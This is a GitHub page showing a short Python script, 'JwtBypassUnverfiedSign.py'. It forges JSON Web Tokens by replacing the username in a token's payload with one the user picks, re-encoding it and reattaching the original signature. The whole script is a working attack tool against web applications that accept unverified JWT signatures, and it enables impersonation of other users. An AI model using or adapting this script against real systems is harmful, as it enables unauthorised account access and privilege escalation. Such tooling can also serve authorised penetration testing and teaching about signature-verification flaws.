-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathJwtBypassUnverfiedSign.py
More file actions
21 lines (14 loc) · 1004 Bytes
/
Copy pathJwtBypassUnverfiedSign.py
File metadata and controls
21 lines (14 loc) · 1004 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import jwt
token = input("[*]Enter the jwt token: ")
usernameOriginal = input("[*] Enter the original username you have in the request: ")
ForgedUsername = input("[*] Enter the new username that you want to change: ")
payload = jwt.decode(token, options={"verify_signature": False})
header, payload, sign = token.split('.') # Split the header, payload and signature since they are delimited with a point.
decoded_payload = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4)) # Strip the padding
modified_payload = decoded_payload.replace(usernameOriginal.encode('utf-8'), ForgedUsername.encode('utf-8'))
print(f"Modified payload: {modified_payload.decode()}\n")
# Generate a new token with the modified payload (re-encode the token)
modified_payload_b64 = base64.urlsafe_b64encode(modified_payload).rstrip(b'=').decode()
modified_token=f"{header}.{modified_payload_b64}.{sign}" # Generate a new token with the modified payload
print(f"New modified token: {modified_token}")